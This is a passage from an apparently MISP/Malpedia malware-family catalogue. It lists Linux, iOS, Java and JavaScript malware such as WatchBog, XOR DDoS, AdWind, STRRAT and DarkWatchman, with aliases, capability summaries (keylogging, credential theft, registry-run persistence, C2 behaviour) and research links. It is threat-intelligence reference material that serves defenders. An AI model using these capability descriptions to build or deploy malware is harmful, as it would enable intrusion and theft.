https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf
https://cyberpeaceinstitute.org/ukraine-timeline-of-cyberattacks
https://www.cisa.gov/uscert/sites/default/files/publications/AA22-110A_Joint_CSA_Russian_State-Sponsored_and_Criminal_Cyber_Threats_to_Critical_Infrastructure_4_20_22_Final.pdf
https://blog.talosintelligence.com/2019/05/one-year-later-vpnfilter-catastrophe.html
https://www.sentinelone.com/labs/acidrain-a-modem-wiper-rains-down-on-europe/
https://i.blackhat.com/USA-19/Thursday/us-19-Doerr-The-Enemy-Within-Modern-Supply-Chain-Attacks.pdf
https://www.symantec.com/blogs/threat-intelligence/vpnfilter-iot-malware
https://www.tesorion.nl/en/resources/pdfstore/Report-OSINT-Russia-Ukraine-Conflict-Cyberaspect.pdf
https://www.trendmicro.com/en_us/research/21/a/vpnfilter-two-years-later-routers-still-compromised-.html

WatchBog

According to Intezer, this is a spreader module used by WatchBog. It is a dynamically linked ELF executable, compiled with Cython. C&C adresses are fetched from Pastebin. C&C communication references unique identification keys per victim. It contains a BlueKeep scanner, reporting positively scanned hosts to the C&C server (RC4 encrypted within SSL/TLS). It contains 5 exploits targeting Jira, Exim, Solr, Jenkins and Nexus Repository Manager 3.

The tag is: *misp-galaxy:malpedia="WatchBog"*

WatchBog is also known as:

Table 1328. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.watchbog
https://intezer.com/blog/linux/watching-the-watchbog-new-bluekeep-scanner-and-linux-exploits/

WellMail

The tag is: *misp-galaxy:malpedia="WellMail"*

WellMail is also known as:

Table 1329. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.wellmail
https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/
https://securelist.com/apt-trends-report-q3-2020/99204/
https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198c
https://www.ncsc.gov.uk/files/Advisory-APT29-targets-COVID-19-vaccine-development.pdf
https://www.pwc.co.uk/issues/cyber-security-services/insights/wellmail.html
https://www.ironnet.com/blog/russian-cyber-attack-campaigns-and-actors
https://blog.talosintelligence.com/2020/08/attribution-puzzle.html
https://www.intezer.com/wp-content/uploads/2021/02/Intezer-2020-Go-Malware-Round-Up.pdf

elf.wellmess

The tag is: *misp-galaxy:malpedia="elf.wellmess"*

elf.wellmess is also known as:

Table 1330. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.wellmess
https://securelist.com/an-overview-of-targeted-attacks-and-apts-on-linux/98440/
https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf
https://us-cert.cisa.gov/ncas/alerts/aa21-116a
https://services.global.ntt/en-us/insights/blog/the-layered-infrastructure-operated-by-apt29
https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-old-dogs-new-tricks.pdf
https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/
https://www.pwc.co.uk/issues/cyber-security-services/insights/wellmess-analysis-command-control.html
https://blogs.jpcert.or.jp/en/2018/07/malware-wellmes-9b78.html
https://www.ncsc.gov.uk/files/Advisory-APT29-targets-COVID-19-vaccine-development.pdf
https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf
https://securelist.com/apt-trends-report-q2-2020/97937/
https://www.pwc.co.uk/issues/cyber-security-services/insights/cleaning-up-after-wellmess.html
https://www.botconf.eu/wp-content/uploads/2018/12/2018-Y-Ishikawa-S-Nagano-Lets-go-with-a-Go-RAT-_final.pdf
https://www.ironnet.com/blog/russian-cyber-attack-campaigns-and-actors
https://blog.talosintelligence.com/2020/08/attribution-puzzle.html
https://www.intezer.com/wp-content/uploads/2021/02/Intezer-2020-Go-Malware-Round-Up.pdf
https://community.riskiq.com/article/541a465f/description
https://us-cert.cisa.gov/sites/default/files/publications/AA21-116A_Russian_Foreign_Intelligence_Service_Cyber_Operations_508C.pdf

Winnti (ELF)

The tag is: *misp-galaxy:malpedia="Winnti (ELF)"*

Winnti (ELF) is also known as:

Table 1331. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.winnti
https://www.secureworks.com/research/threat-profiles/bronze-atlas
https://intezer.com/blog/linux/elf-malware-analysis-101-linux-threats-no-longer-an-afterthought
https://attack.mitre.org/groups/G0096

https://medium.com/chronicle-blog/winnti-more-than-just-windows-and-gates-e4f03436031a

Wirenet (ELF)

The tag is: *misp-galaxy:malpedia="Wirenet (ELF)"*

Wirenet (ELF) is also known as:

Table 1332. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.wirenet
http://contagiodump.blogspot.com/2012/12/aug-2012-backdoorwirenet-osx-and-linux.html
https://news.drweb.com/show/?i=2679&lng=en&c=14

X-Agent (ELF)

The tag is: *misp-galaxy:malpedia="X-Agent (ELF)"*

X-Agent (ELF) is also known as:

- chopstick
- fysbis
- splm

Table 1333. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.xagent
https://securelist.com/an-overview-of-targeted-attacks-and-apts-on-linux/98440/
http://researchcenter.paloaltonetworks.com/2016/02/a-look-into-fysbis-sofacys-linux-backdoor/
https://contagiodump.blogspot.de/2017/02/russian-apt-apt28-collection-of-samples.html
https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf
https://www.secureworks.com/research/threat-profiles/iron-twilight
https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/
https://unit42.paloaltonetworks.com/a-look-into-fysbis-sofacys-linux-backdoor/
http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf

Xanthe

The tag is: *misp-galaxy:malpedia="Xanthe"*

Xanthe is also known as:

Table 1334. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.xanthe
https://www.ibm.com/downloads/cas/WMDZOWK6?social_post=5483919673&linkId=131648775
https://www.cadosecurity.com/abcbot-an-evolution-of-xanthe/
https://blog.talosintelligence.com/2020/12/xanthe-docker-aware-miner.html

Xaynnalc

The tag is: *misp-galaxy:malpedia="Xaynnalc"*

Xaynnalc is also known as:

Table 1335. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.xaynnalc
https://twitter.com/michalmalik/status/846368624147353601

Xbash

The tag is: *misp-galaxy:malpedia="Xbash"*

Xbash is also known as:

Table 1336. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.xbash
https://unit42.paloaltonetworks.com/atoms/agedlibra/
https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/

XOR DDoS

Linux DDoS C&C Malware

The tag is: *misp-galaxy:malpedia="XOR DDoS"*

XOR DDoS is also known as:

- XORDDOS

Table 1337. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.xorddos
https://blog.trendmicro.com/trendlabs-security-intelligence/xorddos-kaiji-botnet-malware-variants-target-exposed-docker-servers/
https://www.virusbulletin.com/uploads/pdf/conference/vb2015/KalnaiHorejsi-VB2015.pdf
https://www.blackberry.com/us/en/pdfviewer?file=/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-decade-of-the-rats.pdf
https://www.intezer.com/blog/malware-analysis/new-linux-backdoor-redxor-likely-operated-by-chinese-nation-state-actor/
https://www.lacework.com/groundhog-botnet-rapidly-infecting-cloud/
https://www.ibm.com/downloads/cas/WMDZOWK6?social_post=5483919673&linkId=131648775
https://www.botconf.eu/wp-content/uploads/2015/12/OK-P13-Liu-Ya-Automatically-Classify-Unknown-Bots-by-The-Register-Messages.pdf
https://blog.avast.com/2015/01/06/linux-ddos-trojan-hiding-itself-with-an-embedded-rootkit/
https://en.wikipedia.org/wiki/Xor_DDoS
https://www.microsoft.com/security/blog/2022/05/19/rise-in-xorddos-a-deeper-look-at-the-stealthy-ddos-malware-targeting-linux-devices/
https://maxkersten.nl/binary-analysis-course/analysis-scripts/ghidra-script-to-decrypt-a-string-array-in-xor-ddos/
https://www.crowdstrike.com/blog/linux-targeted-malware-increased-by-35-percent-in-2021/
https://bartblaze.blogspot.com/2015/09/notes-on-linuxxorddos.html
https://www.fireeye.com/blog/threat-research/2015/02/anatomy_of_a_brutef.html
http://blog.malwaremustdie.org/2014/09/mmd-0028-2014-fuzzy-reversing-new-china.html
https://blog.checkpoint.com/wp-content/uploads/2015/10/sb-report-threat-intelligence-groundhog.pdf
https://blog.nsfocusglobal.com/threats/vulnerability-analysis/analysis-report-of-the-xorddos-malware-family/

ZHtrap

The tag is: *misp-galaxy:malpedia="ZHtrap"*

ZHtrap is also known as:

Table 1338. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.zhtrap
https://blog.netlab.360.com/new_threat_zhtrap_botnet_en/

Zollard

The tag is: *misp-galaxy:malpedia="Zollard"*

Zollard is also known as:

- darlloz

Table 1339. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.zollard
https://blogs.cisco.com/security/the-internet-of-everything-including-malware

ZuoRAT

According to Black Lotus Labs, ZuoRAT is a MIPS file compiled for SOHO routers that can enumerate a host and internal LAN, capture packets being transmitted over the infected device and perform person-in-the-middle attacks (DNS and HTTPS hijacking based on predefined rules).

The tag is: *misp-galaxy:malpedia="ZuoRAT"*

ZuoRAT is also known as:

Table 1340. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.zuo_rat
https://blog.lumen.com/zuorat-hijacks-soho-routers-to-silently-stalk-networks/

AutoCAD Downloader

Small downloader composed as a Fast-AutoLoad LISP (FAS) module for AutoCAD.

The tag is: *misp-galaxy:malpedia="AutoCAD Downloader"*

AutoCAD Downloader is also known as:

- Acad.Bursted
- Duxfas

Table 1341. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/fas.acad
https://github.com/Hopfengetraenk/Fas-Disasm
https://www.forcepoint.com/blog/security-labs/autocad-malware-computer-aided-theft

DualToy (iOS)

The tag is: *misp-galaxy:malpedia="DualToy (iOS)"*

DualToy (iOS) is also known as:

Table 1342. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ios.dualtoy
http://researchcenter.paloaltonetworks.com/2016/09/dualtoy-new-windows-trojan-sideloads-risky-apps-to-android-and-ios-devices/

GuiInject

The tag is: *misp-galaxy:malpedia="GuiInject"*

GuiInject is also known as:

Table 1343. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ios.guiinject
https://sentinelone.com/blogs/analysis-ios-guiinject-adware-library/

lightSpy

The tag is: *misp-galaxy:malpedia="lightSpy"*

lightSpy is also known as:

Table 1344. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ios.lightspy
https://blog.trendmicro.com/trendlabs-security-intelligence/operation-poisoned-news-hong-kong-users-targeted-with-mobile-malware-via-local-news-links/
https://documents.trendmicro.com/assets/Tech-Brief-Operation-Poisoned-News-Hong-Kong-Users-Targeted-with-Mobile-Malware-via-Local-News-Links.pdf
https://securelist.com/ios-exploit-chain-deploys-lightspy-malware/96407/

Phenakite

The tag is: *misp-galaxy:malpedia="Phenakite"*

Phenakite is also known as:

* Dakkatoni

Table 1345. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ios.phenakite
https://malware4all.blogspot.com/2021/05/grab-your-own-copy-phenakite-ios.html

PoisonCarp

The tag is: *misp-galaxy:malpedia="PoisonCarp"*

PoisonCarp is also known as:

* INSOMNIA

Table 1346. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ios.poisoncarp
https://citizenlab.ca/2019/09/poison-carp-tibetan-groups-targeted-with-1-click-mobile-exploits/
https://googleprojectzero.blogspot.com/2019/08/implant-teardown.html
https://blog.trendmicro.com/trendlabs-security-intelligence/new-android-spyware-actionspy-revealed-via-phishing-attacks-from-earth-empusa/

Postlo

The tag is: *misp-galaxy:malpedia="Postlo"*

Postlo is also known as:

Table 1347. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ios.postlo
https://twitter.com/opa334dev/status/1374754519268098051

WireLurker (iOS)

The iOS malware that is installed over USB by osx.wirelurker

The tag is: *misp-galaxy:malpedia="WireLurker (iOS)"*

WireLurker (iOS) is also known as:

Table 1348. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ios.wirelurker
https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf

X-Agent (iOS)

The tag is: *misp-galaxy:malpedia="X-Agent (iOS)"*

X-Agent (iOS) is also known as:

Table 1349. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ios.xagent
https://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-update-ios-espionage-app-found/
https://www.secureworks.com/research/threat-profiles/iron-twilight

AdWind

Part of Malware-as-service platform Used as a generic name for Java-based RAT Functionality - collect general system and user information - terminate process -log keystroke -take screenshot and access webcam - steal cache password from local or web forms - download and execute Malware - modify registry - download components - Denial of Service attacks - Acquire VPN certificates

Initial infection vector 1. Email to JAR files attached 2. Malspam URL to downlaod the malware

Persistence - Runkey - HKCU\Software\Microsoft\Windows\current version\run

Hiding Uses attrib.exe

Notes on Adwind The malware is not known to be proxy aware

The tag is: *misp-galaxy:malpedia="AdWind"*

AdWind is also known as:

- AlienSpy
- Frutas
- JBifrost
- JSocket
- Sockrat
- UNRECOM

Table 1350. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/jar.adwind
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf
https://citizenlab.ca/2015/12/packrat-report/
https://www.zscaler.com/blogs/research/compromised-wordpress-sites-used-distribute-adwind-rat
https://dissectingmalware.blogspot.com/2018/08/export-jratadwind-config-with-x32dbg.html
https://threatresearch.ext.hp.com/javascript-malware-dispensing-rats-into-the-wild/
https://gist.github.com/herrcore/8336975475e88f9bc539d94000412885
http://blog.trendmicro.com/trendlabs-security-intelligence/spam-remote-access-trojan-adwind-jrat
https://www.fortinet.com/blog/threat-research/new-jrat-adwind-variant-being-spread-with-package-delivery-scam.html
https://www.securityinbits.com/malware-analysis/interesting-tactic-by-ratty-adwind-distribution-of-jar-appended-to-signed-msi/
https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf
http://malware-traffic-analysis.net/2017/07/04/index.html
https://research.checkpoint.com/malware-against-the-c-monoculture/
https://blog.talosintelligence.com/2018/09/adwind-dodgesav-dde.html
https://marcoramilli.com/2018/08/20/interesting-hidden-threat-since-years/
https://blogs.seqrite.com/evolution-of-jrat-java-malware/

Adzok

The tag is: *misp-galaxy:malpedia="Adzok"*

Adzok is also known as:

Table 1351. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/jar.adzok
https://citizenlab.ca/2015/12/packrat-report/

Banload

F-Secure observed Banload variants silently downloading malicious files from a remote server, then installing and executing the files.

The tag is: *misp-galaxy:malpedia="Banload"*

Banload is also known as:

Table 1352. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/jar.banload
https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf
https://colin.guru/index.php?title=Advanced_Banload_Analysis
https://www.welivesecurity.com/wp-content/uploads/2015/05/CPL-Malware-in-Brasil-zx02m.pdf
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?name=TrojanDownloader%3AWin32%2FBanload

Blue Banana RAT

The tag is: *misp-galaxy:malpedia="Blue Banana RAT"*

Blue Banana RAT is also known as:

Table 1353. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/jar.bluebanana
https://www.virustotal.com/gui/file/60faab36491e07f10bf6a3ebe66ed9238459b2af7e36118fccd50583728141a4/community

CrossRAT

The tag is: *misp-galaxy:malpedia="CrossRAT"*

CrossRAT is also known as:

- Trupto

Table 1354. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/jar.crossrat
https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf
https://objective-see.com/blog/blog_0x28.html

EpicSplit RAT

EpicSplit RAT is a multiplatform Java RAT that is capable of running shell commands, downloading, uploading, and executing files, manipulating the file system, establishing persistence, taking screenshots, and manipulating keyboard and mouse events. EpicSplit is typically obfuscated with the commercial Allatori Obfuscator software. One unique feature of the malware is that TCP messages sent by EpicSplit RAT to its C2 are terminated with the string "*packet*" as a packet delimiter.

The tag is: *misp-galaxy:malpedia="EpicSplit RAT"*

EpicSplit RAT is also known as:

Table 1355. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/jar.epicsplit
https://www.zscaler.com/blogs/security-research/targeted-attacks-indian-government-and-financial-institutions-using-jsoutprox-rat

FEimea RAT

The tag is: *misp-galaxy:malpedia="FEimea RAT"*

FEimea RAT is also known as:

Table 1356. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/jar.feimea_rat
https://dfir.it/blog/2019/02/26/the-supreme-backdoor-factory/

IceRat

According to Karsten Hahn, this malware is actually written in JPHP, but can be treated similar to .class files produced by Java. IceRat has been observed to carry out information stealing and mining.

The tag is: *misp-galaxy:malpedia="IceRat"*

IceRat is also known as:

Table 1357. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/jar.icerat
https://www.gdatasoftware.com/blog/icerat-evades-antivirus-by-using-jphp

JavaDispCash

JavaDispCash is a piece of malware designed for ATMs. The compromise happens by using the JVM attach-API on the ATM’s local application and the goal is to remotely control its operation. The malware’s primary feature is the ability to dispense cash. The malware also spawns a local port

(65413) listening for commands from the attacker which needs to be located in the same internal network.

The tag is: *misp-galaxy:malpedia="JavaDispCash"*

JavaDispCash is also known as:

Table 1358. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/jar.javadispcash
https://twitter.com/r3c0nst/status/1111254169623674882
https://github.com/fboldewin/Libertad-y-gloria---A-Mexican-cyber-heist-story---CyberCrimeCon19-Singapore

JavaLocker

The tag is: *misp-galaxy:malpedia="JavaLocker"*

JavaLocker is also known as:

- JavaEncrypt Ransomware

Table 1359. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/jar.javalocker
https://dissectingmalwa.re/why-would-you-even-bother-javalocker.html
https://id-ransomware.blogspot.com/2020/03/javalocker-ransomware.html

jRAT

jRAT, also known as Jacksbot, is a RAT with history, written in Java. It has support for macOS, Linux, Windows and various BSD. It also has functionality to participate in DDoS-attacks as well as to perform click fraud. Note that the Adwind family often is mistakenly labeled as jRAT, because of of a red hering reference to jrat.io.

The tag is: *misp-galaxy:malpedia="jRAT"*

jRAT is also known as:

- Jacksbot

Table 1360. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/jar.jrat

https://blog.trendmicro.com/trendlabs-security-intelligence/jacksbot-has-some-dirty-tricks-up-its-sleeves/
https://maskop9.wordpress.com/2019/02/06/analysis-of-jacksbot-backdoor/
https://www.eff.org/files/2018/01/29/operation-manul.pdf
https://research.checkpoint.com/malware-against-the-c-monoculture/
https://www.intego.com/mac-security-blog/new-multiplatform-backdoor-jacksbot-discovered

jSpy

The tag is: *misp-galaxy:malpedia="jSpy"*

jSpy is also known as:

Table 1361. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/jar.jspy
https://how-to-hack.net/hacking-guides/review-of-jspy-rat-jspy-net/

Octopus Scanner

The tag is: *misp-galaxy:malpedia="Octopus Scanner"*

Octopus Scanner is also known as:

Table 1362. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/jar.octopus_scanner
https://securitylab.github.com/research/octopus-scanner-malware-open-source-supply-chain
http://blog.nsfocus.net/github-ocs-0605/

Qarallax RAT

According to SpiderLabs, in May 2015 the "company" Quaverse offered a RAT known as Quaverse RAT or QRAT. At around May 2016, this QRAT evolved into another RAT which became known as Qarallax RAT, because its C2 is at qarallax.com. Quaverse also offers a service to encrypt Java payloads (Qrypter), and thus qrypted payloads are sometimes confused with Quaverse RATs (QRAT / Qarallax RAT).

The tag is: *misp-galaxy:malpedia="Qarallax RAT"*

Qarallax RAT is also known as:

Table 1363. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/jar.qarallax_rat
http://www.certego.net/en/news/nearly-undetectable-qarallax-rat-spreading-via-spam/

Qealler

The tag is: *misp-galaxy:malpedia="Qealler"*

Qealler is also known as:

- Pyrogenic Infostealer

Table 1364. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/jar.qealler
https://github.com/jeFF0Falltrades/Malware-Writeups/blob/master/Qealler/Qealler-Unloaded.pdf
https://www.securityinbits.com/malware-analysis/unpacking/unpacking-pyrogenic-qealler-using-java-agent-part-0x2/
https://www.cyberark.com/threat-research-blog/qealler-the-silent-java-credential-thief/
https://www.securityinbits.com/malware-analysis/similarity-between-qealler-pyrogenic-variants-part-0x3/
https://www.securityinbits.com/malware-analysis/pyrogenic-infostealer-static-analysis-part-0x1/
https://www.herbiez.com/?p=1352
https://www.zscaler.com/blogs/research/qealler-new-jar-based-information-stealer

QRat

QRat, also known as Quaverse RAT, was introduced in May 2015 as undetectable (because of multiple layers of obfuscation). It offers the usual functionality (password dumper, file browser, keylogger, screen shots/streaming, …), and it comes as a SaaS. For additional historical context, please see jar.qarallax.

The tag is: *misp-galaxy:malpedia="QRat"*

QRat is also known as:

- Quaverse RAT

Table 1365. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/jar.qrat

https://www.trustwave.com/Resources/SpiderLabs-Blog/Quaverse-RAT—Remote-Access-as-a-Service/
https://www.digitrustgroup.com/java-rat-qrat/
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/updated-qnode-rat-downloader-distributed-as-trump-video-scandal/
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/rats-and-spam-the-nodejs-qrat/

Ratty

Ratty is an open source Java RAT, made available on GitHub and promoted heavily on HackForums. At some point in 2016 / 2017 the original author deleted his repository, but several clones exist.

The tag is: *misp-galaxy:malpedia="Ratty"*

Ratty is also known as:

Table 1366. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/jar.ratty
https://threatresearch.ext.hp.com/javascript-malware-dispensing-rats-into-the-wild/
https://www.securityinbits.com/malware-analysis/interesting-tactic-by-ratty-adwind-distribution-of-jar-appended-to-signed-msi/

Sorillus RAT

Sorillus is a Java-based multifunctional remote access trojan (RAT) which targets Linux, macOS and Windows operating systems. While it was first created in 2019, interest in the tool has increased considerably in 2022. Beginning on January 18, 2022, different obfuscated client versions of the tool started to be uploaded to VirusTotal. Sorillus' features are described in detail on its website (hxxps://sorillus[.]com). The tool supposedly costs 49.99€ for lifetime access but is currently available at a discounted 19.99€. Conveniently, the Sorillus can be purchased via a variety of cryptocurrencies. The tool's creator and distributor, a YouTube user known as "Tapt", asserts that the tool is able to collect the following information from its target: - HardwareID - Username - Country - Language - Webcam - Headless - Operating system - Client Version

The tag is: *misp-galaxy:malpedia="Sorillus RAT"*

Sorillus RAT is also known as:

Table 1367. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/jar.sorillus
https://abnormalsecurity.com/blog/tax-customers-sorillus-rat

STRRAT

STRRAT is a Java-based RAT, which makes extensive use of plugins to provide full remote access to an attacker, as well as credential stealing, key logging and additional plugins. The RAT has a focus on stealing credentials of browsers and email clients, and passwords via keylogging. It supports the following browsers and email clients: Firefox, Internet Explorer, Chrome, Foxmail, Outlook, Thunderbird.

Since Version 1.2 and above, STRRAT was infamous for its ransomware-like behavior of appending the file name extension .crimson to files. Version 1.5 is notably more obfuscated and modular than previous versions, but the backdoor functions mostly remain the same: collect browser passwords, run remote commands and PowerShell, log keystrokes, among others. Version 1.5 of STRRAT Malware includes a proper encryption routine, though currently pretty simple to revert.

The tag is: *misp-galaxy:malpedia="STRRAT"*

STRRAT is also known as:

Table 1368. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/jar.strrat
https://twitter.com/MsftSecIntel/status/1395138347601854465
https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries
https://www.gdatasoftware.com/blog/strrat-crimson
https://threatresearch.ext.hp.com/javascript-malware-dispensing-rats-into-the-wild/
https://www.jaiminton.com/reverse-engineering/strrat
https://umbrella.cisco.com/blog/cybersecurity-threat-spotlight-strrat-zloader-honeygain
https://www.deepinstinct.com/blog/understanding-the-windows-javascript-threat-landscape
https://forensicitguy.github.io/strrat-attached-to-msi/
https://www.jaiminton.com/reverse-engineering/strrat#
https://isc.sans.edu/diary/rss/27798
https://www.fortinet.com/blog/threat-research/new-strrat-rat-phishing-campaign
https://threatresearch.ext.hp.com/wp-content/uploads/2021/10/HP-Wolf-Security-Threat-Insights-Report-Q3-2021.pdf

SupremeBot

The tag is: *misp-galaxy:malpedia="SupremeBot"*

SupremeBot is also known as:

- BlazeBot

Table 1369. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/jar.supremebot
https://dfir.it/blog/2019/02/26/the-supreme-backdoor-factory/

Verblecon

This malware seems to be used for attacks installing cyptocurrency miners on infected machines. Other indicators leads to the assumption that attackers may also use this malware for other purposes (e.g. stealing access tokens for Discord chat app). Symantec describes this malware as complex and powerful: The malware is loaded as a server-side polymorphic JAR file.

The tag is: *misp-galaxy:malpedia="Verblecon"*

Verblecon is also known as:

Table 1370. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/jar.verblecon
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/verblecon-sophisticated-malware-cryptocurrency-mining-discord

AIRBREAK

AIRBREAK, a JavaScript-based backdoor which retrieves commands from hidden strings in compromised webpages.

The tag is: *misp-galaxy:malpedia="AIRBREAK"*

AIRBREAK is also known as:

- Orz

Table 1371. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.airbreak
https://www.secureworks.com/research/threat-profiles/bronze-mohawk
http://www.kahusecurity.com/posts/reflow_javascript_backdoor.html
https://www.fireeye.com/blog/threat-research/2018/07/chinese-espionage-group-targets-cambodia-ahead-of-elections.html

Bateleur

The tag is: *misp-galaxy:malpedia="Bateleur"*

Bateleur is also known as:

Table 1372. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.bateleur
https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf
https://www.secureworks.com/research/threat-profiles/gold-niagara
https://www.proofpoint.com/us/threat-insight/post/fin7carbanak-threat-actor-unleashes-bateleur-jscript-backdoor
https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf
https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/

BELLHOP

- BELLHOP is a JavaScript backdoor interpreted using the native Windows Scripting Host(WSH). After performing some basic host information gathering, the BELLHOP dropper downloads a base64-encoded blob of JavaScript to disk and sets up persistence in three ways:
- Creating a Run key in the Registry
- Creating a RunOnce key in the Registry
- Creating a persistent named scheduled task
- BELLHOP communicates using HTTP and HTTPS with primarily benign sites such as Google Docs and PasteBin.

The tag is: *misp-galaxy:malpedia="BELLHOP"*

BELLHOP is also known as:

Table 1373. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.bellhop
https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf
https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html
https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf

CACTUSTORCH

According to the GitHub repo, CACTUSTORCH is a JavaScript and VBScript shellcode launcher. It will spawn a 32 bit version of the binary specified and inject shellcode into it.

The tag is: *misp-galaxy:malpedia="CACTUSTORCH"*

CACTUSTORCH is also known as:

Table 1374. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.cactustorch
https://github.com/mdsecactivebreach/CACTUSTORCH
https://www.macnica.net/file/mpression_automobile.pdf
https://www.microsoft.com/security/blog/2020/09/24/gadolinium-detecting-empires-cloud/
https://www.codercto.com/a/46729.html
https://www.seqrite.com/documents/en/white-papers/Seqrite-WhitePaper-Operation-SideCopy.pdf
https://forensicitguy.github.io/analyzing-cactustorch-hta-cobaltstrike/

ChromeBack

GoSecure describes ChromeBack as a browser hijacker, redirecting traffic and serving advertisements to users.

The tag is: *misp-galaxy:malpedia="ChromeBack"*

ChromeBack is also known as:

Table 1375. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.chromeback
https://www.gosecure.net/blog/2022/02/10/malicious-chrome-browser-extension-exposed-chromeback-leverages-silent-extension-loading/
https://unit42.paloaltonetworks.com/chromeloader-malware/

CryptoNight

WebAssembly-based crpyto miner.

The tag is: *misp-galaxy:malpedia="CryptoNight"*

CryptoNight is also known as:

Table 1376. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.cryptonight
https://twitter.com/JohnLaTwC/status/983011262731714565
https://gist.github.com/JohnLaTwC/112483eb9aed27dd2184966711c722ec

CukieGrab

The tag is: *misp-galaxy:malpedia="CukieGrab"*

CukieGrab is also known as:

- Roblox Trade Assist

Table 1377. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.cukiegrab_crx
http://blog.trendmicro.com/trendlabs-security-intelligence/malicous-chrome-extensions-stealing-roblox-game-currency-sending-cookies-via-discord/

DarkWatchman

Prevailion found this RAT written in JavaScript, which dynamically compiles an accompanying keylogger written in C# and uses a DGA für C&C.

The tag is: *misp-galaxy:malpedia="DarkWatchman"*

DarkWatchman is also known as:

Table 1378. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.darkwatchman
